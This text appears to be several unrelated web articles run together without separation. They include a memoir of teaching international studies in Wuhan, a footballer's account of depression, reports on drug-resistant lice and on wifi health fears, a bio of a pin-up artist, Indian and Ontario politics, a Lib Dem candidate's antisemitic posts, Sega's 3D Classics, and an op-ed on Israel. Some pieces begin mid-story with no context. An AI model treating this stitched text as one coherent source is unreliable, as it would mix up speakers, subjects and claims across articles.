My lectures were much like those I've delivered in Australia, just with more examples from China and the region. I covered a range of relatively benign topics: Thucydides and Ancient Greek history; the Peace of Westphalia; nineteenth-century Imperialism. But it certainly wasn't all benign. I discussed common criticisms of the World Trade Organisation, including the argument that it is not democratic (a criticism premised on the assumption that a lack of democracy is a bad thing). I asked penetrating questions about the OBOR initiative - about Xi's rationale and the initiative's risks and opportunities, pros and cons. I even discussed an observation made by some academics that OBOR is being used to placate and pacify marginalised ethnic minorities, such as Muslim Uyghurs in Xinjiang, by giving them a stake in the national economy.
I discussed the thesis, put forward by Canadian philosopher, Joseph Heath, that "Western" values and institutions tend inexorably to follow processes of technological modernisation and economic liberalisation. And I discussed Francis Fukuyama's famous "End of History" thesis - that capitalist liberal democracy represents the highest form of political evolution. At no stage did faculty staff or students raise concerns about the content of my lectures. Overwhelmingly, in fact, students seemed to embrace the content.
The students were the real highlight of the trip, and surprised me in many ways. During the first lecture with each class I ran an ice-breaker. I asked students about their hobbies, and why they had chosen an International Studies degree. Standard hobbies included basketball, badminton, computer games, photography, movies and hanging with boyfriends and girlfriends. Nothing surprising here. But then one young man announced that he loved reading German philosophy, and that his favourite book was Immanuel Kant's Groundwork for the Metaphysics of Morals . So unexpected was his response, that I had to ask him to repeat himself.
Regarded as Kant's first mature work in moral philosophy, the Groundwork seeks to establish foundational principles that are inherent to morality, irrespective of the time or place in which one lives. If there is such a thing as a universal moral law, Kant reasons, then it cannot be based on the inclinations, traditions, or chosen ends of any individual - or for that matter any ruler or government - but must be based solely on the demands of reason, which by its nature is universal and impartial. The formula Kant comes up with - his famous "categorical imperative" - goes something like this: act according to the principle that you would want all other rational people to follow, as though it was a universal law. Implied in this formula, Kant insists, is another imperative: treat other persons not simply as means to ends, but also as ends in themselves.
As someone whose doctoral thesis offers a defence of political realism, I'm often highly critical of Kant - his philosophical abstractions, rigidity and rejection of pragmatism and political prudence. Yet here was this young student - whose robustly pragmatic government had recently rejected the concept of "universal values" as a tool to "seduce people into 'beautifying the West' and 'being compliant with the West'" - telling me he loved Kant. Never have I been forced so quickly to reconsider my views.
Most of my students were highly cosmopolitan and genuinely curious about other cultures. Cultural curiosity was the main reason most had enrolled in International Studies. In addition to Kant, many students had read the classics that form part of the International Relations canon in Western universities, including Thucydides, Machiavelli, Hobbes and Morgenthau, as well as more contemporary figures such as Fukuyama and Huntington. I learned during my globalisation lectures that students saw themselves not only as Han Chinese, but also as global citizens with a consciousness of the collective problems that humans face (global warming, environmental degradation, global poverty and so on).
Moreover, most of my students saw globalisation in an overwhelmingly positive light. They were aware of its potential pitfalls, but seemed fully invested in a future of increased international trade, travel, cultural connectedness and economic development. When I asked them to discuss potential threats to globalisation, they went into overdrive. On their list was terrorism, trade protectionism, anti-immigration politics, wealth inequality, populism (and Donald Trump specifically), as well as what one student described as "Cold War mentality" (he was of course referring to the growing tensions between the United States and China, particularly in the Asia-Pacific). From the tone of the discussion, these various threats to globalisation were all perceived negatively by students.
Despite common stereotypes in Australia, most of my students had a well-developed capacity for critical thinking, and defied the narrative that depicts Chinese students as Youth League patriots. When I mentioned Xi Jinping's three-hour National Congress speech, many students rolled their eyes. They found it quite boring. One of my students joked about inconsistencies in the special Chinese version of Marxism they're all taught from a young age. He explained with a wry smile that while Marx himself encouraged critical thinking and the rigorous critique of social and economic structures, they were taught simply to accept Chinese Marxism as gospel.
It became quickly apparent to me that students across the board were highly attuned to propaganda - they knew it when they saw it. I would also learn, by joining the dots, that rule-breaking was not entirely uncommon. Many of my students loved the HBO series Game of Thrones . Chinese censors only recently allowed a highly edited version of the series to be aired on Chinese television, but many of my students had seen the original, unfiltered version. In other words, they had used Virtual Private Networks (VPNs) to get around internet censorship.
This is not to say that the university experience in China is identical to that in Australia. To start with, it is mandatory for students enrolled in Chinese universities to live on campus in student accommodation. Dormitories are divided according to gender, and each group has a "class monitor" - a fellow student whose role is to guide and watch out for classmates, and to act as a point of contact for staff. I experienced a contest for a vacant class monitor position during one of my lecture breaks. Students took turns giving short speeches to their class members before a vote. (This irony was not lost on one student, who quietly joked to me: "see, we have democracy in China.")
In every classroom and most corridors there are surveillance cameras. There was one pointing directly at the entrance of my apartment. On a couple of occasions, a strange face, slightly older than my regular students, turned up and sat at the back of the classroom taking notes. And while there was some good debate and critical thinking on many topics, not all issues were up for debate. Views on Taiwan, for instance, were unified (I didn't raise the topic, but it was used as an example by students in class discussions). Students were well-versed in the "century of humiliation" narrative, which, according to some analysts, has been used by the CCP to render China's youth impervious to foreign criticism. And when I tried to stimulate critical discussion on Xi's signature OBOR initiative, students weren't really prepared to offer criticisms.
Students were also reticent when I tried to provoke discussion on the concept of national sovereignty. I selected some quotes from speeches Xi Jinping had given, where he spoke of national sovereignty as an inviolable principle. I then asked the class whether they thought national sovereignty should always, under all circumstances, be respected, or whether they could think of situations, either hypothetical or real, where sovereignty should not be respected - situations where, for instance, we might deem foreign intervention both legitimate and necessary. Most students simply echoed Xi's words: "sovereignty is an inviolable principle."
I then threw a spanner in the works. I explained that China, as a permanent member of the United Nations Security Council, had enabled the passage of Security Council resolution 1973, which authorised the use of force in Libya, by abstaining from voting. The resolution was proposed under the auspices of the Responsibility to Protect (R2P), a moral-political commitment endorsed in 2005 by all United Nations member states, including China, which not only permits but encourages intervention in circumstances where governments fail to protect their citizens from gross human rights abuses. Upon hearing this, many of my students quickly changed their minds. They conceded that sovereignty should not always be respected.
After class, I went for a coffee with one of my students in a makeshift campus cafe at the back of an apartment block. The student was the class monitor - an extremely bright and intellectually curious young man with a dry sense of humour and wisdom well beyond his years. He was intent on explaining the contradictory nature of his views on sovereignty. "You need to understand," he said to me with a quiet confidence, "we are very practical here in China." This was something that I heard repeatedly while in Wuhan. "We are practical." Specifically, contradictions in principle and practice didn't seem to faze anyone. That the CCP would endorse the R2P norm through the UN and then give rousing speeches about the inviolability of sovereignty was no big deal in my student's eyes.
What mattered to him was not the logical coherence of theories or principles, but the fact that China had selected the appropriate response for each circumstance. Principles were important, according to my student, but in China it was pragmatism that ultimately held sway. Things were suddenly beginning to make a lot more sense, including the classroom contradictions I had witnessed earlier. Students certainly had principles, knew where they stood on issues, and seemed happy to be critical of - and even quietly resist - official CCP policy positions. But there were clear limits to how critical they were willing to be.
Faculty
My time with faculty staff revealed similar contradictions. I spent my first weekend in Wuhan exploring the city with a junior faculty member. During lunch on the first day, between mouthfuls of smoky Sichuan beans, my colleague quietly mentioned that he was a member of the CCP. He did so somewhat sheepishly, as though he was expecting my opinion of him to change. Almost immediately, he felt the need to justify himself. "Actually," he said, "it was my parents who wanted me to join." He explained that membership gives you better job prospects (other sources suggest that CCP membership can increase your social status and even make you more attractive as a potential spouse).
In other words, not every member of the CCP joins because of devout commitment to the principles of the Party, much less the current leader. My colleague would later reveal that his grandfather, a businessman, had to lay low during Mao's Cultural Revolution. It was a dangerous time for the bourgeoisie.
On other occasions, I spoke with CCP members who were overtly critical of their party's policies. Every CCP member I asked about North Korea agreed: the regime is terrible and Kim Jong Un is bonkers. They also feared that China's close relationship with the pariah state only serves to reinforce negative perceptions of China in the international community. Some members also disagreed with Xi's recent move to make it compulsory for politics lecturers in China to be Party members. And the one member I spoke to about allegations of Chinese students reporting dissenting classmates in Australian universities was horrified by that notion, at least outwardly.
Despite the willingness of some CCP members to criticise party polices, they were somehow, at the same time, deeply loyal to the Party and its vision. One moment, I'd be listening to criticisms of the Party. A few moments later, I'd have a line straight from the propaganda ministry thrown at me: "we think Falun Gong is an evil cult." Similarly, although my colleague was happy to talk about the danger his grandfather faced during the Cultural Revolution, not a bad word was said about Mao himself. In fact, I got the distinct sense that, despite his family history and awareness of foreign perceptions of the Party, he was proud to be a member of the CCP. He mentioned more than once that only the very top students are invited to join.
And this is what I mean by contradictions. The people I met in Wuhan - both students and staff - had criticism and resistance down to a fine art. They knew precisely when to push and when to back off; how to be critical without criticising; how to resist without resisting. They knew exactly what propaganda was. They knew about party politics. They knew what nationalism was, and the fact that it was often used as a political tool.
At the same time, both students and staff alike seemed genuinely proud of their country, particularly of China's extraordinary economic growth, but also its newly emerging global superpower status. While they may have had private views on the direction Xi Jinping is taking the Party and country, they seemed for the most part happy to offer pragmatic support for the system, the Party, and its leadership - at least insofar as living standards continued to visibly improve (which they most certainly are). Pursuing principles for their own sake was not something that made a lot of sense to most people to whom I spoke.
Responses
There is the danger that in writing this little memoir I'll be accused of naivety or whitewashing. To this, I have five brief responses.
First, I do not for a moment doubt the veracity of the media reports on China I listed earlier. As far as I am concerned, the reports are true, and many of them are deeply worrying. Still, they do not constitute the whole story. What I have attempted to challenge, or at least complicate, is the dominant narrative on China that is beginning to take hold in Australia.
Second, I do not deny that Australia and China have genuine conflicts of interest. For instance, I think it was entirely prudent of the Australian Government to deny Chinese communication company, Huawei, the right to submit tenders for the National Broadband Network, and more recently to assist Papua New Guinea and the Solomon Islands with a submarine data cable to Australia.
Third, it's important that we remember that no nation or political system is perfect. While in Wuhan, I fielded several questions on mainstream Australia's relationship with Indigenous Australians, as well as the recent bashing of a Chinese student at a bus interchange in Canberra. We don't expect foreign nationals to judge the character of our nation and its people based on our worst examples, and we should avoid doing the same with other nations. We should also remember that there was very little discussion about cutting ties with the United States when it admitted to, among other things, torture and extraordinary rendition.
Don't get me wrong, the Chinese political system has many deeply unsavoury characteristics. I'm one of a rare breed who thinks Francis Fukuyama was actually on to something with his "End of History" thesis. As long as the CCP continues to treat marginalised or dissenting people as a problem to be dealt with technocratically, rather than conciliated politically, they will continue to face passionate resistance. At the same time, we need to acknowledge the enormous benefits the Chinese system has brought hundreds of millions of people. And one thing we can be sure of, the Chinese system will never produce a President Trump.
Fourth, Australia also needs to be practical. Hugh White - one of Australia's foremost strategic thinkers - has recently warned Australians of the need to adjust our thinking to fast-changing realities in our region. We may feel comfortable criticising China about its activities in the South China Sea while the United States remains militarily predominant in the region. But as White rightly asks, what if the United States suddenly decides to up stumps and withdraw from the Asia-Pacific? How much weight is our moralising about a "rules-based order" likely to carry then?
Finally, while (as White has suggested) we can and should take steps to secure our sovereignty and prevent foreign interference, we also need to be cognizant of the dangers of what one of my Chinese student's termed a "Cold War mentality." Ronald Reagan-style "Evil Empire" rhetoric is not likely to get us very far at all. It's likely only to increase suspicion and mistrust on both sides.
If there is hope for a more liberal China, and more cordial and trusting relations between our two countries in the future, that hope to me lies in the younger generation of cosmopolitan and culturally-curious Chinese university students. The last thing we want to do is alienate those students by failing to acknowledge they exist.
His fine display comes just two months after he took time off from the game to treat his depression.
In a post-match interview with Triple M, Fasolo spoke openly about what he has been battling with.
"If I'm really honest with myself, it's probably something that I've been battling for years," the 25-year-old said.
"I probably had to put my hand up and say ‘something is not right here’ and now I’m dealing with it.
"It's something that I'm still learning a lot about myself, to be honest. I'm getting better, I'm getting the treatment that I need.
"It's a bit of a self-journey for me mate, to be honest.
"To think about where I was six months ago and the dark places I got myself into I almost feel silly, but it’s just one of those things and it’s becoming more and more common."
He added: "More than anything, it's the weeks, it's the weeks that were killing me...I was getting to the point where I couldn't hold conversations, I couldn't look blokes in the eye," he said.
"I just know the weeks are getting a lot easier for me...I'm progressing, I'm getting better."
EAST PROVIDENCE, R.I. (WPRI/WIAT/WJBF) -- According to a new study from Southern Illinois University – Edwardsville, the new and potentially drug-resistant species of lice is showing up on the heads of children in at least 25 states, including Rhode Island and Massachusetts.
95 percent of lice populations collected from 30 states tested positive for a mutation that's resistant to over-the-counter treatments.
These mutations are reportedly caused by widespread use of insecticides used to kill everything from mosquitoes to bed bugs.
So, if you're a parent, what can you do to protect your kids?
Health officials recommend inspecting your child's head and physically picking the lice out if you see them.
Also, fight the instinct to over-treat or give preventative treatments because that actually contributes to the problem.
Debbie Busdiecker with the Ohio Board of Health said, "It's important not to treat the whole family, because if other people don't have it, then you treat them, they could become resistant to that shampoo."
If the lice won't die or are not responding to over-the-counter shampoo, a doctor can prescribe a shampoo with stronger chemicals.
The Centers for Disease Control says to prevent the spread of lice, you need to avoid head to head contact. Parents, that may be very difficult for your kids, but you need to tell them not to share hats, helmets, headbands and even hairbrushes.
Machine wash and dry clothing, bed linens, and other items that an infested person wore or used during the two days before treatment using the hot water.
Also Vacuum the floor and furniture.
Experts say it's important to properly use the nit comb that comes with lice treatment, keeping them from spreading is key.
The owner of Bernadette's Lice Removal Center in East Providence said having lice can be scary, but once people get past the fear, they realize it's a process people get through. She's been flooded with phone calls from parents worried about their kids going back to school.
"The DNA of the lice has changed, so the over-the-counter products don't work," Melissa Curran explained. "We have people coming to us all the time out of their minds because they've spent a lot of money trying to use the products, and they don't work, and they don't know what to do."
Curran said she's known about drug-resistant lice for years, so she gives her clients a different treatment called a yeast enzyme.
"Our yeast enzyme works by causing the shell of the louse to molt," she said. "It breaks down the protein, which is what the louse is made of, so therefore, the louse will molt and die."
According to Curran, it's unlikely the lice will develop resistance to the enzyme because a louse's shell will always be made up of protein.
Yeast enzyme isn't available through drug stores or pharmacies, Curran said, but they can be ordered online from her clinic.
Frahm (not to be confused with Calen Frahm) had adequate technical competence for his medium, with a style somewhat reminiscent of Norman Rockwell's, though more cartoony. He was mostly influenced by commercial artist Haddon Sundblom, with whom Frahm may have worked as an assistant early in his career. Frahm's forte was depicting beautiful young white women, taking in rendering their legs and figures. Frahm's depictions of the women's faces are less successful, often tending towards plastic doll-like expressions. Minor problems with perspective and unrealistic depiction of subsidiary figures and objects are common in Frahm's work. Some of his artistic touches were deliberately unrealistic and artistically daring—for instance, his coloring of a city street lemon-yellow in an otherwise realist painting.
Today, Frahm is best known for his "ladies in distress" pictures involving beautiful young women whose panties mysteriously fall to the ground in a variety of public situations, causing maximum embarrassment to his pin-up girls[1] and often causing them to spill their bag of groceries. In one of Frahm's noted idiosyncratic touches, celery is often depicted. The falling-panties art has a small cult following as mid-20th century kitsch, or even as fetish art. The works have been described with irony by James Lileks and Frahm's art works are available on the Internet.[2] The falling-panties paintings were imitated by other pin-up artists, such as Jay Scott Pike and Al Brulé.
In addition to pin-ups, Frahm created a series of humorous hobo-themed calendar illustrations. Another set of paintings celebrated traffic safety, complete with smiling, chubby crossing guards and schoolchildren (one such painting appears as a calendar print in the background of a bar scene in the movie Hud). His advertising art included works for Coca-Cola and Coppertone.[3]
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In November, the Narendra Modi government said it was ready with a bill that would provide a legal framework to prosecute Muslim men calling off marriages using a custom outlawed by the Supreme Court.
Instant triple talaq, or Talaq-e-biddat involves Muslim men divorcing their wives by mentioning the word ‘talaq (divorce)’ three times in one go, sometimes over email, WhatsApp messages or letters.
The proposed bill hands out a three-year jail sentence as well as fine, and states that the offence will be cognisable and non-bailable.
“We welcome this, it was much needed.Unlike previous governments, this government cares for rights of Muslim women. Appeal to all parties to ensure passage of this bill in Parliament,” said Shaista Ambar of the All India Muslim Women Personal Law Board.
Titled the ‘Muslim Women (Protection of Rights on Marriage) Bill, 2017’, the proposed law also gives a “victim” of Talaq-e-Biddat a right to seek maintenance from her husband before a magistrate’s court. She will also be entitled to her children’s custody, the draft law says.
In August, the top court had struck down the custom as “arbitrary” and “unconstitutional” in a verdict that was hailed as a watershed moment for gender justice in India.
A law ministry official, explaining the rationale behind the bill, said: “Before the judgement this year, there were 177 reported cases of Talaq-e-biddat. Since then, there have been 67. These are only reported cases, the actual figure could be much higher.”
The All India Muslim Personal Law Board, a non-governmental body that lobbies for the application of Islamic civil laws and opposes any ban on triple talaq, also welcomed the verdict, saying it “accords protection to Muslim personal laws”.
“There are already children who can’t go to school because of headaches, nausea and heart problems from the wireless systems,” says Clegg. “Some of these kids have a doctor’s note to prove it. This is a real hazard.”
On Wednesday the American Academy of Environmental Medicine announced that medical doctors are treating patients who have fallen ill from school wireless systems. Clegg plans to address parents and teachers at a public meeting in Mississauga tonight at 7pm.
The debate of whether wifi is dangerous has been raging for years. In 2012, the Ontario English Catholic Teachers Association, which represents teachers from 1,400 schools, issued a report that suggested wifi is harmful to students and must not be installed in schools. Few agreed with the report, noting that wifi is already ubiquitous, at home and in malls—even children’s hospitals. Premier Dalton McGuinty said that the report does not raise any new issues and that there is no valid reason not to install wifi in schools.
Speaking of the potential effects wifi exposure could have on people, Dalton told the Canadian Press last year that “I know that [Health Canada] continues to monitor these things very closely,” noting that they have performed extensive worldwide research. “I place my confidence in them,” Dalton said—not the Catholic union.
The Liberal government's new growth plans place the onus squarely on municipalities to create higher population densities while curtailing urban sprawl. ( Galit Rodan / Toronto Star file photo )
“With the growing population, things will get worse, not better, if we don’t get ahead of the curve,” said NDP Leader Andrea Horwath, who sat down with the Star recently in Brampton. Horwath highlighted the widening funding gap for growth-related infrastructure, especially in communities whose population is already exploding — and which are expected to absorb the lion’s share of the population boom over the next 25 years. “I’m not in government, I’m in opposition,” Horwath said. “So we get up and we try to flag these concerns and issues for the government. But we don’t see a real, co-ordinated approach. In fact, what we see is more of a reactionary approach, almost like they’re putting out fires when they can.
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“But their overall vision is not about the future — I’m sorry, but I’m going to be honest with you — it’s about dollars and deficits, not about the well-being of people, not about meeting the population pressures.” A new report by public affairs consulting firm StrategyCorp, highlighting the biggest concerns of 25 municipal chief administrative officers across Ontario, is similarly blunt. “Provincial assumptions about growth are not keeping up to date with ‘on the ground experience,’” the report says, quoting another CAO as saying: “There is no provincial strategy for economic development — especially not for (the) GTA.” Three weeks ago, the Liberal government rolled out its plans to bolster existing growth legislation. The new plans place the onus squarely on municipalities to encourage higher population densities while curtailing urban sprawl, to make more efficient use of land and infrastructure funding. At the announcement, the Star asked Finance Minister Charles Sousa how his government plans to pay for the growth it has mandated to municipalities such as Milton, where the population is booming, while better co-ordinating growth-related services among government ministries.
“We made a commitment to invest — historic investments, I may add — $160 billion over the next 12 years, which will affect all communities ... to enable the influx of families that are moving into these areas,” Sousa said. He added that growth issues have been “neglected for far too long in previous regimes.” “That’s why this plan and this co-ordinated review is being taken, so that we make appropriate assessments,” he said.
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Sousa said the province is also working with Ottawa to help manage and fund future growth in the region.
About 3.5 million people will move into the Greater Toronto and Hamilton area by 2041, mostly into areas not yet developed (purple) which will grow more densely than in the past; and in some existing developed areas where densities will significantly increase (gold). Click to learn more.
One of the biggest issues officials in Milton and other high-growth municipalities have raised is poor funding for transit and transportation. Transportation Minister Steven Del Duca called it “crucial” that investments are focused on where growth is taking place, and that the province needs to do a “better” job of this. “We have to work together to make sure that we are aligning the growth with where those transit investments are occurring,” he said. Milton Councillor Colin Best has been a vocal critic of the province’s failure to support the growth it mandated. “The lack of any long-term budgeting for growth by the province is a huge problem,” Best said. “The Ministry of Education, for example, does not align the number of schools it will budget to be built with the growth targets the province has given us. It gives us no idea. Right now we need eight new elementary schools and two new high schools, but we have no clue if we’re going to get them.” Milton’s population has spiked from 7,018 in 1971 to about 120,000, and Best said it is set to double again in less than 20 years. Milton has kept in line with the province’s growth legislation, which came into effect in 2006, and is already achieving population densities above the 80 people per hectare the province recommended. “But where’s the money and the co-ordination from the province?” Best asked. Schools in Milton are already overcrowded, with some using more than 20 portables, he said. “The province has just increased Halton’s population target by an additional 40,000,” Best said. “The region’s population will now pretty much double by 2041, to over a million residents. We just can’t handle this growth if the province doesn’t figure out how it’s going to manage it and pay for it.” Horwath agreed. Moments after visiting Brampton Civic Hospital, she singled out the issue of health-care capacity. “If the government can’t even provide the services, so that people can’t even get the kind of health care they need, when they need it and where they need it, then the government is failing on one of the most basic priorities that people have.” She pointed to data that shows hospital capacities in high-growth communities are well beyond what her party calls “internationally recognized safe occupancy rates.” “In terms of actual fundamental planning for the future, we don’t see that, in a co-ordinated, cross-ministerial way. We don’t see that.”
The Liberal Democrat running to become MP for Luton South has been dramatically suspended by the party after a MailOnline investigation revealed that he made a series of disturbing anti-Semitic posts on social media.
Ashuk Ahmed, 51 – who was given an award at the House of Lords for 'inspirational role models for British Muslims' – will no longer contest the seat, a Liberal Democrat spokesman confirmed.
Mr Ahmed posted a series of posts comparing Jews to Nazis, suggesting that Zionists controlled 'half the world' and claiming that Labour and the Conservatives were controlled by 'Zionist paymasters'.
Among the offensive posts and shares, which were made in 2014, were images of the Israeli prime minister eating children and the slogan, 'blood sucking leech'.
On one occasion, he wrote: 'Zionists control half the world, we are the other half. So let's make a lot more noise.' He also suggested that the Labour and Conservative parties are controlled by 'Zionist paymasters'.
Mr Ahmed also shared a video made by an extreme anti-Semitic group AshkeNazi, which claims to 'expose… the current takeover of the United States by the Jewish Ashkenazi tribe'.
Mr Ahmed, a community worker who was awarded an MBE in the 2009 Queen's birthday honours in recognition of his services to young people, also spread the anti-Semitic conspiracy theory that ISIS was created by 'Jewish media and their gentile pawns' in order to 'justify more slaughter'.
Ashuk Ahmed, 51 – who was given an award at the House of Lords for 'inspirational role models for British Muslims' – will no longer contest the seat after a series of anti-Semitic posts were discovered, a Liberal Democrat spokesman confirmed
Mr Ahmed shared posts comparing Jews to Nazis, suggesting that Zionists controlled 'half the world' and claiming that Labour and the Conservatives were controlled by 'Zionist paymasters'
Among the offensive posts, which were made in 2014, were images of the Israeli prime minister under the slogan, 'blood sucking leech'
When asked by MailOnline whether he stood by his anti-Semitic posts and if he wished to apologise, Mr Ahmed declined to comment. Instead he forwarded a police letter which confirmed he had been investigated.
A Liberal Democrat spokesman said: 'You sent us the email with the screenshots at 11:55 and we suspended Mr Ahmed at 11:56.
'Mr Ahmed's utterances have no place in the party. We believe in a politics that is open, tolerant and united.'
The former parliamentary candidate was interviewed under caution by Bedfordshire police in 2014 following a complaint about the anti-Semitic posts, which were made before that date.
Ashuk Ahmed praised the 'strong words' of the Lib Dems unlike - he claimed - others who will not comment for fear of upsetting 'zionist paymasters'
Ashuk Ahmed was suspended as a candidate for the Lib Dems today after a series of Facebook posts came to light, one of which attacked 'zionist Tesco'
Mr Ahmed also shared a video comparing the Israeli secret service to Isis
He resigned from his position on the Bedfordshire Police Independent Advisory Group (IAG) shortly afterwards. No charges were brought, however, and he was re-appointed as the group's Vice Chair last year.
Chief Superintendent David Boyle from Bedfordshire Police said: 'A police investigation was launched into reports of the sharing of anti-Semitic posts on Mr Ahmed's Facebook page, but no criminal offences were found to have been committed.'
He also claimed that no 'issues' had come up since Mr Ahmed was reappointed.
In 2010, Mr Ahmed was given a British Community Honours Award at the House of Lords naming him as an 'inspirational role model for British Muslims as part of mainstream society' who improved 'social cohesion'.
He was also named on the Independent on Sunday 'Happy List 2009' which recognised 100 people who make Britain a 'better, more caring and contented nation'.
According to Mr Ahmed's official website, he is also a school governor and a trustee for Crime Stoppers UK Eastern Region.
Ashuk Ahmed has been suspended today after a series of posts emerged suggesting he is anti-Semitic
Joe Glasman, Head of Political and Government Investigations at Campaign Against Antisemitism, said: 'Ashuk Ahmed has posted repugnant, anti-Semitic material online, for which he was interviewed by police. Yet he has been made an MBE, has been appointed to a powerful police advisory group, and has been selected to stand as the Liberal Democrat candidate.
'His anti-Semitic posts are no secret. It beggars belief that we have to ask a political party and a police force not to appoint people like Mr Ahmed to positions of power.'
This is not the first time Liberal Democrat politicians have been accused of anti-Semitism. Jenny Tongue, a former peer, was forced to quit the party after she was suspended over alleged anti-Semitic comments.
Among a series of posts, Mr Ahmed claimed 'zionists control half the world, we are the other half'
And councillor and former MP David Ward said on Twitter that 'Zionists' were 'winning despite the appalling racism of the state of Israel and its supporters'.
It comes as Tim Farron attempts to position his party as a 'warm home' for Jews alienated by the anti-Semitism scandal in Labour.
'I want to make a bold pitch to progressive voters in the Jewish community and say, we are for you,' Mr Farron said last year.
'As somebody who considers himself to be a friend of the Jewish community here, supports the right of Israel to exist, supports a two-state solution and thinks antisemitism should be called out at every single opportunity it rears its ugly head, I hope people would find that we are progressive, going places and a warm home.'
Sam Westrop, director of Islamist Watch, a project of the U.S.-based Middle East Forum, said: 'At a time when the Labour Party's failure to tackle anti-Semitism seriously has lost them the trust of the Jewish community, the Liberal Democrats have made a wise decision to reject this extremist.
'When Ashuk Ahmed was selected as a political candidate, given an MBE, or praised by politicians as a 'community leader', he was legitimised as a representative of the Muslim community.
That’s exactly what Sega has done with its 3D Classics series, a selection of retro ports that feature by far the most impressive use of 3D on Nintendo’s console to date. The first series features games ranging from arcade hits like Super Hang-On to Genesis titles like Sonic the Hedgehog, each of which has to be seen to be believed. Each title recreates graphical trickery that Sega employed in the past to simulate depth — it’s like they were always made to be played in 3D.
The first title in the second volume of 3D Classics came out in Japan this week. After Burner II is a high-octane air combat shooter that was first released as an arcade game in 1987. It used Sega’s "Super Scaler" technology, allowing for a pseudo-3D experience through the rapid rotation and scaling of thousands of 2D sprites. The technique was also used in 1985’s Space Harrier (above), the first game to receive the 3D Classics treatment just over a year ago, and both look amazing on the 3DS — since the virtual 3D objects are actually 2D sprites, they turn out to be a perfect fit for the cardboard cut-out effect of stereoscopic 3D.
If you never thought you’d be blown away by a 25-year-old video game, try 'Galaxy Force II'
The technique is best shown off in the series’ most stunning entry so far, Galaxy Force II (below). If you never thought you’d be blown away by a 25-year-old video game, it’s worth giving this one a try — when viewed in 3D, the spiralling columns of fire and complex space environments are some of the most visually intense graphics you’ll see all year. And it’s not just a cosmetic improvement; the added depth perception helps you sort through the visual chaos of enemies and obstacles, making all these games much easier to play in 3D.
The 3D Classics series includes games ported from the Sega Genesis home console that aren’t quite as impressive, but still look great by rendering an old graphical technique in 3D. Parallax scrolling was a trademark effect that Sega often used in an attempt to set its games apart from those on the Super Nintendo; it involves moving background layers at different speeds to simulate depth and horizontal motion. This also suits the 3DS well — Sonic the Hedgehog has lost none of its sheen over the past two decades, and the game looks even better by being able to peer into its beautifully drawn backgrounds. Ecco the Dolphin has also aged well thanks to its detailed sprites and restrained color palette, though Shinobi III and Altered Beast don’t hold up quite as strongly.
Getting these games to run on the 3DS is no mean feat
Despite these games’ advanced age, getting them to run well on the 3DS is no mean feat. Fortunately the ports were handled by M2, a Japanese developer that has earned legendary status for its hyper-accurate translations of old games to modern consoles. In a series of fascinating interviews posted to Sega’s official blog, members of the development team detail exactly how they managed to emulate the original titles and get them working in 3D. The full series is well worth a read for anyone with an interest in Sega’s history or the technical side of games.
M2 also made some inspired tweaks to the games themselves. To recreate the physically moving arcade units used by games like After Burner II and Super Hang-On, for example, the 3DS versions have options both for motion control and to have the image actually move around the screen, revealing the cabinet artwork. Other games have been altered for modern audiences; Ecco the Dolphin famously hides a punishing action game beneath its cuddly exterior, and the addition of a "Super Dolphin" invincibility mode should see more players make their way to the end. And 3D Sonic the Hedgehog is arguably the definitive version of the game — it lets you switch between Japanese and overseas versions and has an option for the spin dash move introduced in Sonic 2.
M2 is the perfect guardian for Sega's blue-sky arcade classics
It’s ironic that, at a time when Nintendo is downplaying the importance of 3D, the company’s old rival Sega is the one making the most of the 3DS’ original selling point. Nintendo’s own efforts with its back catalogue have been woeful on the 3DS so far, drip-feeding direct ports of NES and Game Boy games and seemingly halting its plans to release some older titles in 3D. But M2 is the perfect guardian for the blue-sky arcade classics from Sega’s glory years, treating them with reverence without being afraid to improve them for the present. These games would be the perfect introduction to the countless Nintendo consoles that will be found under Christmas trees this year.
Every question that a child or parent asks is important, and no one understood that better than Fred Rogers, the iconic television neighbor who visited our homes for decades. In this moving collection of letters to him and his replies, he encourages parents and teachers to cherish the questions and comments that come from children and crafts caring, thoughtful responses to them. With deep sensitivity and sincerity, he addresses real-life issues in chapters arranged by theme: his life, Mister Rogers’ Neighborhood, feelings and fears, family relationships, and even death. Drawing on a lifetime of studying and considering healthy child development, this unique gathering of correspondence offers a timeless guide to childhood as well as parenting.
Time is running out for Israel. And the Israeli government knows it. The Jewish Diaspora, especially the young, has a waning emotional and ideological investment in Israel. The demographic boom means that Palestinians in Israel and the occupied territories will soon outnumber Jews. And Israel’s increasing status as a pariah nation means that informal and eventually formal state sanctions against the country are probably inevitable.
Desperate Israeli politicians, watching opposition to their apartheid state mount, have proposed a perverted form of what they term “the one-state solution.” It is the latest tool to thwart a Palestinian state and allow Israel to retain its huge settlement complexes and land seizures in East Jerusalem and the West Bank. The idea of a single state was backed by Moshe Arens, a former defense minister and foreign minister from the Likud Party, in a column he wrote last month in the newspaper Haaretz asking “Is There Another Option?” Arens has been joined by several other Israeli politicians including Knesset Speaker Reuven Rivlin.
The Israeli vision, however, does not include a state with equal rights for Jewish and Palestinians citizens. The call for a single state appears to include pushing Gaza into the unwilling arms of Egypt and incorporating the West Bank and East Jerusalem into Israel. Palestinians within Israeli-controlled territory, however, will remain burdened with crippling travel, work and security restrictions already in place. Palestinians in the occupied territories, for example, cannot reclaim lost property or acquire Israeli citizenship, yet watch as Jews born outside of Israel and with no prior tie to the country become Israeli citizens and receive government-subsidized housing. Palestinians in the West Bank live in a series of roughly eight squalid, ringed ghettos and are governed by military courts. Jews living in the West Bank and East Jerusalem, like all full Israeli citizens, are subject to Israeli civilian law and constitutional protection. Palestinians cannot serve in the armed forces or the security services, while Jewish settlers are issued automatic weapons and protected by the Israel Defense Force.
If Israel sheds Gaza, which has 1.5 million Palestinians, the Jewish state will be left with 5.8 million Jews and 3.8 million Arabs. And, at least in the near future, Jews will remain the majority. This seems to be the main attraction of the plan.
The landscape of the West Bank and East Jerusalem, known as “facts on the ground,” has altered dramatically since I first went to Jerusalem over two decades ago. Huge fortress-like apartment complexes ring East Jerusalem and dominate the hillsides in the West Bank. The settler population is now more than 462,000, with 271,400 living in the West Bank and East Jerusalem, and 191,000 living in and around Jerusalem. The settler population has grown at the rate of 4.6 percent per year since 1990 while the Israeli society taken as a whole has grown at 1.5 percent.
